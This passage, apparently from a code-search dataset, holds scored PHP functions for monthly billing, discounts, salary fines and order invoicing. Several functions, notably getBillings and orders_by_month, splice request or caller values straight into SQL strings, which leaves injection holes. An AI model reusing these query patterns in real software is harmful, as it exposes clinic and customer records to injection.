return $this->monthly_cloud_credits;\n }", "title": "" }, { "docid": "ee4802df06482a51796db34f42c1af6f", "score": "0.5461323", "text": "public function getTotalMonthlyExpense(){\n\n try {\n \n $expense = DB::table('tbl_purchase_ledger')\n ->select(\n DB::raw('MONTH(date) as month, YEAR(date) as year, \n SUM(amount) as t')\n )\n ->where(DB::raw('MONTH(date)'), '=', date('n'))\n //->whereRaw('MONTH(date) = MONTH(CURRENT_DATE())')\n ->groupBy('date')\n ->first();\n\n if(isset($expense) )\n {\n $journal = $this->getTotalMonthlyJournalEntry();\n return $expense->t + $journal['cr'];\n }else{\n return '0.00';\n }\n } catch (ModelNotFoundException $e) {\n \n }\n }", "title": "" }, { "docid": "c2ca7b4a33513e63fa4298d516017ff3", "score": "0.54553336", "text": "public function MonthlyReport($token)\n {\n $total_fine = 0;\n $staff = auth(\"staffs\")->authenticate($token);\n $id = $staff->id;\n $UserCurrentSalary = $staff->earning;\n $CurrentMonth = date(\"F\");\n $CurrentYear = date(\"Y\");\n $UserFinancialDisciplineReport = $this->financial_discipline::where([\"user_id\"=>$id,\"month\"=>$CurrentMonth,\"year\"=>$CurrentYear])->get();\n foreach ($UserFinancialDisciplineReport as $key => $value) {\n # code...\n $fine = $value->fine;\n $total_fine += $fine; \n }\n \n $salaryRemaining = $UserCurrentSalary - $total_fine;\n $salaryRemainderPercentage = ($salaryRemaining/$UserCurrentSalary) * 100;\n $finePercentage = 100 - $salaryRemainderPercentage;\n $data = array(\"salary\"=>$UserCurrentSalary,\"fine\"=>$total_fine,\"salary_remainder\"=>$salaryRemaining,\n \"salary_percentage_remainder\"=>$salaryRemainderPercentage,\"fine_percentage\"=>$finePercentage);\n return response()->json([\n \"success\"=>true,\n \"data\"=>$data\n ],200);\n }", "title": "" }, { "docid": "5ba790c587ff57d70511e31afed94316", "score": "0.5453424", "text": "function getMonthlyPostData($fechaini, $fechafin) {\n //$dateini = new Carbon( $fechaini );\n //$datefin = new Carbon( $fechafin );\n $monthly_post_count_array = array();\n $monthly_money_count_array = array();\n $month_array = $this->getAllMonths($fechaini, $fechafin);\n $month_name_array = array();\n\n\t\tif ( ! empty( $month_array ) ) {\n\t\t\tforeach ( $month_array as $month_no => $month_name ){\n $month = new Carbon( $month_no );\n $monthly_post_count = $this->getMonthlyPostCount( $month );\n $monthly_money_count = $this->getMoneyPostCount( $month );\n array_push( $monthly_post_count_array, $monthly_post_count );\n array_push( $monthly_money_count_array, $monthly_money_count );\n array_push( $month_name_array, $month_name );\n //return $monthly_post_count_array;\n }\n\n\n }\n //return $monthly_money_count_array;\n\t\t$max_no = max( $monthly_post_count_array );\n\t\t$max = round((( $max_no + 10/2 ) / 10 ) * 10)-3;\n\t\t$monthly_post_data_array = array(\n\t\t\t'months' => $month_name_array,\n 'post_count_data' => $monthly_post_count_array,\n 'money' => $monthly_money_count_array,\n\t\t\t'max' => $max,\n\t\t);\n\n\t\treturn $monthly_post_data_array;\n\n }", "title": "" }, { "docid": "62c493512fa42c2c524200209033ead0", "score": "0.5451203", "text": "public function index()\n {\n $store = Store::where('auth_id', '=', Auth::user()->id)\n ->get();\n //dd($store);\n $debts = Coupon::whereMonth('created_at', '>=', 1)\n ->where('store_id', '=', $store[0]->id )\n ->where('payed', '=', 1)\n ->get();\n //dd($debts);\n return view('admin.invoice.index', compact('debts'));\n \n }", "title": "" }, { "docid": "d4c5fe8d82db61ef429ac67e94477305", "score": "0.5442765", "text": "public function getBillings(){\r\n\t\t$clinic_id = $this->session->userdata('clinic_id');\r\n\t\t$start = $_POST['startDate'];\r\n\t\t$end = $_POST['endDate'];\r\n\t\tif($start==$end){\r\n\t\t\t$cond = \"where b.clinic_id=\".$clinic_id.\" and b.created_date_time LIKE '\".$start.\"%'\";\r\n\t\t}\r\n\t\telse{\r\n\t\t\t$cond = \"where b.clinic_id=\".$clinic_id.\" and (b.created_date_time BETWEEN '\".$start.\"%' and '\".$end.\"%')\";\t\t\t\r\n\t\t}\r\n\t\t$billing = $this->db->query(\"SELECT b.*,p.first_name as pname,p.umr_no,b.billing_type,c.clinic_name,sum(bi.amount) as bamount\r\n\t\t\tFROM `billing` b\r\n\t\t\tleft join billing_line_items bi on b.billing_id=bi.billing_id\r\n\t\t\tleft join patients p on p.patient_id=b.patient_id\r\n\t\t\tleft join clinics c on c.clinic_id = b.clinic_id \".$cond.\" and b.status!=0\r\n\t\t\tgroup by bi.billing_id order by b.billing_id desc\")->result();\r\n\t\t$i=1; \r\n foreach ($billing as $value) { \r\n $discount = $value->discount;\r\n $discount_unit = $value->discount_unit;\r\n $total_amount = $value->total_amount;\r\n $disc = $discount.\"%\";\r\n ?> \r\n <tr>\r\n <td><?php echo $i++;?></td>\r\n <td><?php echo date(\"d-m-Y\",strtotime($value->created_date_time));?></td>\r\n <td><?php echo ucwords($value->pname.\" \".$value->lname).\" [\".$value->umr_no.\"]\".'<br>'.$value->mobile; ?></td> \r\n <td><?php echo $value->billing_type; ?></td>\r\n <td><i class=\"fas fa-rupee-sign\"></i> \r\n <?php \r\n if($discount_unit==\"INR\")\r\n {\r\n echo $total_amount-$discount;\r\n }\r\n else\r\n {\r\n echo $total_amount-(($disc/100)*$total_amount);\r\n }\r\n ?></td> \r\n <td>\r\n <a href=\"<?php echo base_url('billing/view_order/'.$value->billing_id);?>\"><i class=\"fa fa-eye\"></i></a>&nbsp;\r\n <a href=\"<?php echo base_url('patients/print_invoice/'.$value->appointment_id.'/'.$value->billing_id);?>\"><i class=\"fas fa-print\"></i></a>\r\n </td> \r\n </tr>\r\n <?php }\r\n\t}", "title": "" }, { "docid": "dec45e2109c34cc9eef4e5ecef90e130", "score": "0.5429687", "text": "public function getAccMonth()\n {\n\n }", "title": "" }, { "docid": "c1ddbfe98cff3f88954489e39302cc1b", "score": "0.54294395", "text": "abstract public function retrieveCurrencies();", "title": "" }, { "docid": "2abe5466d46b08818d315875be624bdb", "score": "0.5422129", "text": "public function getSubsCripDetails()\r\n\t\t\t{\r\n\t\t\t\tglobal $CFG,$objSmarty;\r\n if(isset($_SESSION['domain_id']) && !empty($_SESSION['domain_id']))\r\n {\r\n $sqlsel = \"SELECT subs_monthly_date ,subscription_request FROM \".$CFG['table']['domaindetails']. \" WHERE domain_id = '\".$this->filterInput($_SESSION['domain_id']).\"'\";\r\n \t\t\t\t$sqlres = $this->ExecuteQuery($sqlsel,'select');\r\n \t\t\t\t$monthly_date=$sqlres[0]['subs_monthly_date'];\r\n \t\t\t \t$date= date('Y-m-d');\r\n \t\t\t\t$objSmarty->assign(\"subsdetails\", $sqlres);\r\n \t\t\t\t$objSmarty->assign(\"current_date\", $date);\r\n \t\t\t\treturn $sqlres;\r\n }\t\t\t\t\r\n\t\t\t}", "title": "" }, { "docid": "98c7d074bb0bbaf01f962337620e4a8a", "score": "0.54219455", "text": "public function getDiscounts(): array\n {\n $discounts = [];\n\n if ($this->discountCondition->isFulfilled()) {\n foreach ($this->discountCondition->getItemsHavingConditionFulfilled() as $item)\n $discounts[] = $this->getItemsForFree($item->id, self::FREE_ITEMS);\n }\n\n return $discounts;\n }", "title": "" }, { "docid": "95953d7196a4489ae8e19e68c4a09586", "score": "0.5413267", "text": "function GetCalculatedData() { // delete countTotal if not neede any more\r\n\t\tglobal $TSFE;\r\n\r\n\t\t$getDiscount = 0;\r\n\r\n\t\t$gr_list = explode (',' , $TSFE->gr_list);\r\n\r\n\t\tif ($this->conf['getDiscountPrice']) {\r\n\t\t\t$getDiscount = 1;\r\n\t\t} else {\r\n\t\t\twhile (list(,$val) = each ($gr_list)) {\r\n\t\t\t\tif ((intval($val) > 0) && ($getDiscount == 0)) {\r\n\t\t\t\t\t$getDiscount = 1 - strcmp($TSFE->fe_user->groupData->title, $this->conf['discountGroupName '] );\r\n\r\n\t\t\t\t\tif (strlen($TSFE->fe_user->groupData['title']) == 0)\t// repair result of strcmp\r\n\t\t\t\t\t\t$getDiscount = 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t$priceTotal = array();\r\n\t\t$priceReduction = array();\r\n\r\n\t\t$additive = 0;\r\n\t\t// Check if a special group price can be used\r\n\t\tif (($getDiscount == 1) && ($this->conf['discountprice.'] != NULL && $this->conf['discountprice.']['prod.'] != NULL))\r\n\t\t{\r\n\t\t\t$countTotal = 0;\r\n\t\t\t$countedItems = array();\r\n\r\n\t\t\tksort($this->conf['discountprice.']['prod.']);\r\n\t\t\treset($this->conf['discountprice.']['prod.']);\r\n\r\n\t\t\t$type = '';\r\n\t\t\t$field = '';\r\n\t\t\tforeach ($this->conf['discountprice.'] as $k1=>$priceCalcTemp) {\r\n\t\t\t\tif (!is_array($priceCalcTemp)) {\r\n\t\t\t\t\tswitch ($k1) {\r\n\t\t\t\t\t\tcase 'type':\r\n\t\t\t\t\t\t\t$type = $priceCalcTemp;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tcase 'field':\r\n\t\t\t\t\t\t\t$field = $priceCalcTemp;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tcase 'additive':\r\n\t\t\t\t\t\t\t$additive = $priceCalcTemp;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t\t$dumCount = 0;\r\n\t\t\t\t$pricefor1 = doubleval($priceCalcTemp['prod.']['1']);\r\n\t\t\t\t$pricefor1Index = 100*$pricefor1;\r\n\r\n\t\t\t\t// loop over all items in the basket indexed by page and itemnumber\r\n\t\t\t\tforeach ($this->itemArray as $pid=>$pidItem) {\r\n\t\t\t\t\tforeach ($pidItem as $itemnumber=>$actItemArray) {\r\n\t\t\t\t\t\tforeach ($actItemArray as $k2=>$actItem) {\r\n\t\t\t\t\t// count all items which will apply to the discount price\r\n\t\t\t\t\t\t\t$count2 = $actItem['count'];\r\n\t\t\t\t\t\t\tif (($count2 > 0) && ($actItem['rec']['price'] == $pricefor1)) {\r\n\t\t\t\t\t\t\t\t$countedItems [$pricefor1Index][] = array ('pid' => $pid, 'itemnumber' => $itemnumber);\r\n\t\t\t\t\t\t\t\t$dumCount += $count2;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$countTotal += $dumCount;\r\n\r\n\t\t\t\tif ($additive == 0) {\r\n\t\t\t\t\tkrsort($priceCalcTemp['prod.']);\r\n\t\t\t\t\treset($priceCalcTemp['prod.']);\r\n\r\n\t\t\t\t\tforeach ($priceCalcTemp['prod.'] as $k2=>$price2) {\r\n\t\t\t\t\t\tif ($dumCount >= intval($k2)) { // only the highest value for this count will be used; 1 should never be reached, this would not be logical\r\n\t\t\t\t\t\t\tif (intval($k2) > 1) {\r\n\t\t\t\t\t\t\t\t// store the discount price in all calculated items from before\r\n\t\t\t\t\t\t\t\tforeach ($countedItems as $k3=>$v3) {\r\n\t\t\t\t\t\t\t\t\tforeach ($this->itemArray[$v3['pid']] [$v3['itemnumber']] as $k4=>$actItem) { \r\n\t\t\t\t\t\t\t\t\t \t$this->itemArray[$v3['pid']] [$v3['itemnumber']][$k4] ['calcprice'] = $price2;\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t$priceReduction[$pricefor1Index] = 1; // remember the reduction in order not to calculate another price with $priceCalc\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\telse {\r\n\t\t\t\t\t\t\t\t$priceReduction[$pricefor1Index] = 0;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tbreak; // finish\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif ($additive == 1) {\r\n\r\n\t\t\t\treset($this->conf['discountprice.']);\r\n\r\n\t\t\t\tforeach ($this->conf['discountprice.'] as $k1=>$priceCalcTemp) {\r\n\t\t\t\t\tif (!is_array($priceCalcTemp)) {\r\n\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$pricefor1 = doubleval($priceCalcTemp['prod.']['1']);\r\n\t\t\t\t\tif ($countedItems [100*$pricefor1] == NULL) {\r\n\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\tkrsort($priceCalcTemp['prod.']);\r\n\t\t\t\t\treset($priceCalcTemp['prod.']);\r\n\t\t\t\t\twhile (list ($k2, $price2) = each ($priceCalcTemp['prod.'])) {\r\n\t\t\t\t\t\tif ($countTotal >= intval($k2)) { // search the price from the total count\r\n\t\t\t\t\t\t\tif (intval($k2) > 1) {\r\n\t\t\t\t\t\t\t\t// store the discount price in all calculated items from before\r\n\t\t\t\t\t\t\t\tforeach ($countedItems[$pricefor1Index] as $k3=>$v3) {\r\n\t\t\t\t\t\t\t\t\tforeach ($this->itemArray[$v3['pid']] [$v3['itemnumber']] as $k1=>$actItem) { \r\n\t\t\t\t\t\t\t\t\t \t$this->itemArray[$v3['pid']] [$v3['itemnumber']][$k1] ['calcprice'] = $price2;\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t$priceReduction[$pricefor1Index] = 1; // remember the reduction in order not to calculate another price with $priceCalc later\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\telse {\t// $priceTotal [$k1] contains the product count\r\n\t\t\t\t\t\t\t\t$priceReduction[$pricefor1Index] = 0;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tbreak; // finish\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\t// nothing\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif ($this->conf['pricecalc.']) {\r\n\t\t\t$countTotal = 0;\r\n\r\n\t\t\tksort($this->conf['pricecalc.']);\r\n\t\t\treset($this->conf['pricecalc.']);\r\n\r\n\t\t\tforeach ($this->conf['pricecalc.'] as $k1=>$priceCalcTemp) {\r\n\t\t\t\tif (!is_array($priceCalcTemp)) {\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t\t$countedItems = array();\r\n\r\n\t\t\t\t$pricefor1 = doubleval($priceCalcTemp['prod.']['1']);\r\n\t\t\t\t$pricefor1Index = 100*$pricefor1;\r\n\r\n\t\t\t\t// has the price already been calculated before ?\r\n\t\t\t\tif ($priceReduction[$pricefor1Index] == 1) {\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t\t$dumCount = 0;\r\n\r\n\t\t\t\treset($this->itemArray);\r\n\t\t\t\t// loop over all items in the basket indexed by page and itemnumber\r\n\t\t\t\tforeach ($this->itemArray as $pid=>$pidItem) {\r\n\t\t\t\t\tforeach ($pidItem as $itemnumber=>$actItemArray) {\r\n\t\t\t\t\t\tforeach ($actItemArray as $k2=>$actItem) {\r\n\t\t\t\t\t\t\t// count all items which will apply to the discount price\r\n\t\t\t\t\t\t\t$count2 = $actItem['count'];\r\n\t\t\t\t\t\t\tif (($count2 > 0) && ($actItem['rec']['price'] == $pricefor1)) {\r\n\t\t\t\t\t\t\t\t$countedItems [$pricefor1Index][] = array ('pid' => $pid, 'itemnumber' => $itemnumber);\r\n\t\t\t\t\t\t\t\t$dumCount += $count2;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t\t// nothing found?\r\n\t\t\t\tif ($dumCount == 0) {\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$countTotal += $dumCount;\r\n\r\n\t\t\t\t$priceTotalTemp = 0;\r\n\t\t\t\t$countTemp = $dumCount;\r\n\t\t\t\tkrsort($priceCalcTemp['prod.']);\r\n\t\t\t\treset($priceCalcTemp['prod.']);\r\n\t\t\t\tforeach ($priceCalcTemp['prod.'] as $k2=>$price2) {\r\n\t\t\t\t\tif (intval($k2) > 0) {\r\n\t\t\t\t\t\twhile ($countTemp >= intval($k2)) {\r\n\t\t\t\t\t\t\t$countTemp -= intval($k2);\r\n\t\t\t\t\t\t\t$priceTotalTemp += doubleval($price2);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$priceProduct = ($dumCount > 0 ? ($priceTotalTemp / $dumCount) : 0);\r\n\t\t\t\tforeach ($countedItems[$pricefor1Index] as $k3=>$v3) {\r\n\t\t\t\t\tforeach ($this->itemArray[$v3['pid']] [$v3['itemnumber']] as $k4=>$actItem) {\r\n\t\t\t\t\t\t$this->itemArray[$v3['pid']] [$v3['itemnumber']] [$k4] ['calcprice'] = $priceProduct;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t}", "title": "" }, { "docid": "b84c18f4648bd32043bed533a0b56911", "score": "0.5407676", "text": "public function getDiscountedAmount();", "title": "" }, { "docid": "5cc926919c17ae0ac19b5e68db59110b", "score": "0.5402752", "text": "public function orders_by_month($customer_id,$year,$month) {\n\n\n $this->query(\"SET CHARACTER SET utf8\");\n\n $query=\"SELECT orders.order_id as id,\n orders.*,order_options.*,merchantrefs.*\n ,resellers.full_name as 'reseller_name',`customers`.`full_name` as 'customer_name'\n from orders\n INNER JOIN `customers` on `orders`.`customer_id`=`customers`.`customer_id`\n INNER JOIN `customers` resellers on resellers.`customer_id` = `orders`.`reseller_id`\n Left join order_options on orders.order_id= order_options.order_id\n LEFT join merchantrefs on orders.order_id= merchantrefs.order_id\n where product_subscription_type='monthly' and\n \t\torders.customer_id=\".$customer_id;\n //echo $query;\n\t\t$ordersResult = $this->query($query);\n\n\n\t\t$orders=array();\n\n\t\twhile ($order_row = $this->fetch_assoc($ordersResult)) {\n\t\t\t$monthsInfo=array();\n $tempDate = new DateTime($year.\"-\".$month.\"-01\");\n $postDate = new DateTime($year.\"-\".$month.\"-\".$tempDate->format( 't' ));\n\n\n\t\t\t$orderChild = array();\n $order_row[\"order_id\"]=$order_row[\"id\"];\n $orderChild[\"displayed_order_id\"]=$order_row[\"order_id\"];\n $order_id=$order_row[\"order_id\"];\n if ((int) $order_id > 10380)\n $orderChild[\"displayed_order_id\"] = (((0x0000FFFF & (int) $order_id) << 16) + ((0xFFFF0000 & (int) $order_id) >> 16));\n\n\t\t\t$orderChild[\"order_id\"]=$order_row[\"order_id\"];\n /// discount fields\n $orderChild[\"discount\"]=$order_row[\"discount\"];\n $orderChild[\"discount_duration\"]=$order_row[\"discount_duration\"];\n $orderChild[\"free_router\"]=$order_row[\"free_router\"];\n $orderChild[\"free_modem\"]=$order_row[\"free_modem\"];\n $orderChild[\"free_adapter\"]=$order_row[\"free_adapter\"];\n $orderChild[\"free_installation\"]=$order_row[\"free_installation\"];\n $orderChild[\"free_transfer\"]=$order_row[\"free_transfer\"];\n ///////////\n $orderChild[\"join_type\"]=$order_row[\"join_type\"];\n $orderChild[\"reseller_name\"]=$order_row[\"reseller_name\"];\n $orderChild[\"customer_name\"]=$order_row[\"customer_name\"];\n\t\t\t$orderChild[\"creation_date\"] = $order_row[\"creation_date\"];\n $orderChild[\"total_price\"]=is_numeric($order_row[\"total_price\"])?$order_row[\"total_price\"]:0;\n\t\t\t$orderChild[\"product_price\"]=is_numeric($order_row[\"product_price\"])?$order_row[\"product_price\"]:0;\n\t\t\t$orderChild[\"additional_service_price\"]=is_numeric($order_row[\"additional_service_price\"])?$order_row[\"additional_service_price\"]:0;\n\t\t\t$orderChild[\"setup_price\"]=is_numeric($order_row[\"setup_price\"])?$order_row[\"setup_price\"]:0;\n\t\t\t$orderChild[\"modem_price\"]=is_numeric($order_row[\"modem_price\"])?$order_row[\"modem_price\"]:0;\n\n\t\t\t$orderChild[\"router_price\"]=is_numeric($order_row[\"router_price\"])?$order_row[\"router_price\"]:0;\n $orderChild[\"static_ip_price\"]=is_numeric($order_row[\"static_ip_price\"])?$order_row[\"static_ip_price\"]:0;\n\t\t\t$orderChild[\"remaining_days_price\"]=is_numeric($order_row[\"remaining_days_price\"])?$order_row[\"remaining_days_price\"]:0;\n\t\t\t$orderChild[\"qst_tax\"]=is_numeric($order_row[\"qst_tax\"])?$order_row[\"qst_tax\"]:0;\n\t\t\t$orderChild[\"gst_tax\"]=is_numeric($order_row[\"gst_tax\"])?$order_row[\"gst_tax\"]:0;\n\t\t\t$orderChild[\"adapter_price\"]=is_numeric($order_row[\"adapter_price\"])?$order_row[\"adapter_price\"]:0;\n\n\t\t\t$orderChild[\"plan\"]=$order_row[\"plan\"];\n\t\t\t$orderChild[\"modem\"]=$order_row[\"modem\"];\n $orderChild[\"additional_service\"]=$order_row[\"additional_service\"];\n\t\t\t$orderChild[\"router\"]=$order_row[\"router\"];\n $orderChild[\"static_ip\"]=$order_row[\"static_ip\"];\n\t\t\t$orderChild[\"cable_subscriber\"]=$order_row[\"cable_subscriber\"];\n\t\t\t$orderChild[\"current_cable_provider\"]=$order_row[\"current_cable_provider\"];\n\t\t\t$orderChild[\"cancellation_date\"]=$order_row[\"cancellation_date\"];\n\t\t\t$orderChild[\"installation_date_1\"]=$order_row[\"installation_date_1\"];\n\t\t\t$orderChild[\"actual_installation_date\"]=$order_row[\"actual_installation_date\"];\n\n\t\t\t$orderChild[\"product_title\"]=$order_row[\"product_title\"];\n\t\t\t$orderChild[\"product_category\"]=$order_row[\"product_category\"];\n\n $orderChild[\"payment_method\"]=\"Cash on Delivery\";\n if(strpos($order_row[\"merchantref\"], 'cache_on_delivery') === false)\n {\n $orderChild[\"payment_method\"]=\"VISA\";\n }\n $orderChild[\"product_subscription_type\"]=$order_row[\"product_subscription_type\"];\n\n\t\t\tif($order_row[\"product_category\"]===\"phone\"){\n\t\t\t\t$orderChild[\"start_active_date\"]=$order_row[\"creation_date\"];\n\t\t\t}\n\t\t\telse if($order_row[\"product_category\"]===\"internet\"){\n\t\t\t\tif($order_row[\"cable_subscriber\"]===\"yes\"){\n\t\t\t\t\t$orderChild[\"start_active_date\"]=$order_row[\"cancellation_date\"];\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$orderChild[\"start_active_date\"]=$order_row[\"installation_date_1\"];\n\t\t\t\t}\n\t\t\t}\n\t\t\telse // if not internet nor phone then ignore for now\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t$start_active_date = new DateTime($orderChild[\"start_active_date\"]);\n if(\n\t\t\t\t((int)$postDate->format('Y')<(int)$start_active_date->format('Y'))\n\t\t\t\t||\n\t\t\t\t((int)$postDate->format('m')<(int)$start_active_date->format('m') && (int)$postDate->format('Y')===(int)$start_active_date->format('Y'))\n\t\t\t)\n\t\t\t\tcontinue;\n $recurring_date=null;\n\t\t\tif(((int)$start_active_date->format('d'))>1)\n\t\t\t{\n\t\t\t\t$recurring_date = new DateTime($start_active_date->format('Y').\"-\".$start_active_date->format('m').\"-01 00:00:00\");\n\t\t\t\t$interval = new DateInterval('P2M');\n\t\t\t\t$recurring_date->add($interval);\n\t\t\t\t$orderChild[\"recurring_date\"]=$recurring_date->format('Y-m-d');\n\t\t\t}\n\t\t\telse{\n\t\t\t\t$recurring_date=new DateTime($orderChild[\"start_active_date\"]);\n\t\t\t\t$interval = new DateInterval('P1M');\n\t\t\t\t$recurring_date->add($interval);\n\t\t\t\t$orderChild[\"recurring_date\"]=$recurring_date->format('Y-m-d');\n\t\t\t}\n\n///////////////// get month info from order\n\t\t\t$monthInfo=array();\n\n\t\t\t$remaining_days=(int)$start_active_date->format('t')-(int)$start_active_date->format('d')+1;\n\n\t\t\t$monthDays=(int)$start_active_date->format('t');\n\t\t\t$oneDayPrice=(float)$orderChild[\"product_price\"]/(int)$monthDays;\n\t\t\t//$remaining_days_price=$oneDayPrice*$remaining_days;\n\n\n $oneDayPrice=(float)$orderChild[\"product_price\"]/(int)$monthDays;\n $oneDayPriceRouter=(float)$orderChild[\"router_price\"]/(int)$monthDays;\n $oneDayPriceStaticIP=(float)$orderChild[\"static_ip_price\"]/(int)$monthDays;\n $oneDayPriceAdditionalPrice=(float)$orderChild[\"additional_service_price\"]/(int)$monthDays;\n\n $remaining_days_price=$oneDayPrice*$remaining_days;\n $remaining_days_price_router=$oneDayPriceRouter*$remaining_days;\n $remaining_days_price_static_ip=$oneDayPriceStaticIP*$remaining_days;\n $remaining_days_price_additional_price=$oneDayPriceAdditionalPrice*$remaining_days;\n if((int)$start_active_date->format('d')===1)\n $remaining_days_price_all=0;\n else {\n $remaining_days_price_all=$remaining_days_price+$remaining_days_price_router+$remaining_days_price_additional_price+$remaining_days_price_static_ip;\n }\n\n\t\t\t$product_price=(float)$orderChild[\"product_price\"];\n\t\t\t$additional_service_price=(float)$orderChild[\"additional_service_price\"];\n\t\t\t$setup_price=(float)$orderChild[\"setup_price\"];\n\t\t\t$modem_price=(float)$orderChild[\"modem_price\"];\n\t\t\t$router_price=(float)$orderChild[\"router_price\"];\n $static_ip_price=(float)$orderChild[\"static_ip_price\"];\n\t\t\t$adapter_price=(float)$orderChild[\"adapter_price\"];\n\n\t\t\t/*\n\t\t\techo \"</br> remaining_days_price: \".$remaining_days_price;\n\t\t\techo \"</br> product_price: \".$product_price;\n\t\t\techo \"</br> additional_service_price: \".$additional_service_price;\n\t\t\techo \"</br> setup_price: \".$setup_price;\n\t\t\techo \"</br> modem_price: \".$modem_price;\n\t\t\techo \"</br> router_price: \".$router_price;\n\t\t\techo \"</br> adapter_price: \".$adapter_price;\n\t\t\t*/\n\t\t\t$days=$recurring_date->diff($start_active_date)->days;\n\n //commission base amount\n $totalPriceWoR=$remaining_days_price_all+$product_price;\n // subtotal\n\t\t\t$totalPriceWoT=$totalPriceWoR+$additional_service_price+$setup_price+$modem_price+$router_price+$adapter_price+$static_ip_price;\n\n $qst_tax=$totalPriceWoT*0.09975;\n $gst_tax=$totalPriceWoT*0.05;\n\n $monthInfo[\"additional_service_price\"]=$orderChild[\"additional_service_price\"];\n $monthInfo[\"setup_price\"]=$orderChild[\"setup_price\"];\n $monthInfo[\"modem_price\"]=$orderChild[\"modem_price\"];\n $monthInfo[\"router_price\"]=$orderChild[\"router_price\"];\n $monthInfo[\"plan\"]=$orderChild[\"plan\"];\n $monthInfo[\"modem\"]=$orderChild[\"modem\"];\n $monthInfo[\"router\"]=$orderChild[\"router\"];\n $monthInfo[\"static_ip\"]=$orderChild[\"static_ip\"];\n $monthInfo[\"static_ip_price\"]=$orderChild[\"static_ip_price\"];\n $monthInfo[\"remaining_days_price\"]=round($remaining_days_price_all,2, PHP_ROUND_HALF_UP);\n $monthInfo[\"qst_tax\"]=round($qst_tax,2, PHP_ROUND_HALF_UP);\n $monthInfo[\"gst_tax\"]=round($gst_tax,2, PHP_ROUND_HALF_UP);\n $monthInfo[\"adapter_price\"]=$orderChild[\"adapter_price\"];\n $monthInfo[\"product_title\"]=$orderChild[\"product_title\"];\n $monthInfo[\"days\"]=$days;\n $monthInfo[\"action\"]=\"order\";\n if($recurring_date->format('Y')<$year\n || ($recurring_date->format('Y')===$year && $recurring_date->format('m')<=$month)\n )\n {\n $action=\"recurring\";\n if($orderChild[\"router\"]==='rent' || $orderChild[\"router\"]==='rent_hap_lite')\n {\n $action=$action.\", Router Rent\";\n $monthInfo[\"router_price\"]=$router_price;\n }\n else {\n $monthInfo[\"router_price\"]=0;\n }\n if($orderChild[\"static_ip\"]==='yes')\n {\n $action=$action.\", Static IP\";\n $monthInfo[\"static_ip_price\"]=$static_ip_price;\n }\n else {\n $monthInfo[\"static_ip_price\"]=0;\n }\n if($orderChild[\"additional_service\"]==='yes')\n {\n $action=$action.\", Additional Service\";\n $monthInfo[\"additional_service_price\"]=$orderChild[\"additional_service_price\"];\n }\n else {\n $monthInfo[\"additional_service_price\"]=0;\n }\n $totalPriceWoR=$product_price;\n $totalPriceWoT=$product_price+(float)$monthInfo[\"router_price\"]+(float)$monthInfo[\"additional_service_price\"]+(float)$monthInfo[\"static_ip_price\"];\n $qst_tax=$totalPriceWoT*0.09975;\n $gst_tax=$totalPriceWoT*0.05;\n $tempPostDate = new DateTime($year.\"-\".$month.\"-01\");\n $days=(int)$tempPostDate->format( 't' );\n //$monthInfo[\"additional_service_price\"]=0;\n \t\t\t$monthInfo[\"setup_price\"]=0;\n \t\t\t$monthInfo[\"modem_price\"]=0;\n\n \t\t\t$monthInfo[\"plan\"]=$orderChild[\"plan\"];\n \t\t\t$monthInfo[\"modem\"]=$orderChild[\"modem\"];\n \t\t\t$monthInfo[\"router\"]=$orderChild[\"router\"];\n \t\t\t$monthInfo[\"remaining_days_price\"]=0;\n \t\t\t$monthInfo[\"qst_tax\"]=round($qst_tax,2, PHP_ROUND_HALF_UP);\n \t\t\t$monthInfo[\"gst_tax\"]=round($gst_tax,2, PHP_ROUND_HALF_UP);\n \t\t\t$monthInfo[\"adapter_price\"]=$orderChild[\"adapter_price\"];\n \t\t\t$monthInfo[\"product_title\"]=$orderChild[\"product_title\"];\n \t\t\t$monthInfo[\"days\"]=$days;\n $monthInfo[\"action\"]=$action;\n }\n\n\t\t\t$totalPriceWT=$totalPriceWoT+$qst_tax+$gst_tax;\n\t\t\t$totalPriceWT7=$totalPriceWT;\n\n $monthInfo[\"total_price_with_out_router\"]=round($totalPriceWoR,2, PHP_ROUND_HALF_UP);\n\t\t\t$monthInfo[\"total_price_with_out_tax\"]=round($totalPriceWoT,2, PHP_ROUND_HALF_UP);\n\t\t\t$monthInfo[\"total_price_with_tax\"]=round($totalPriceWT,2, 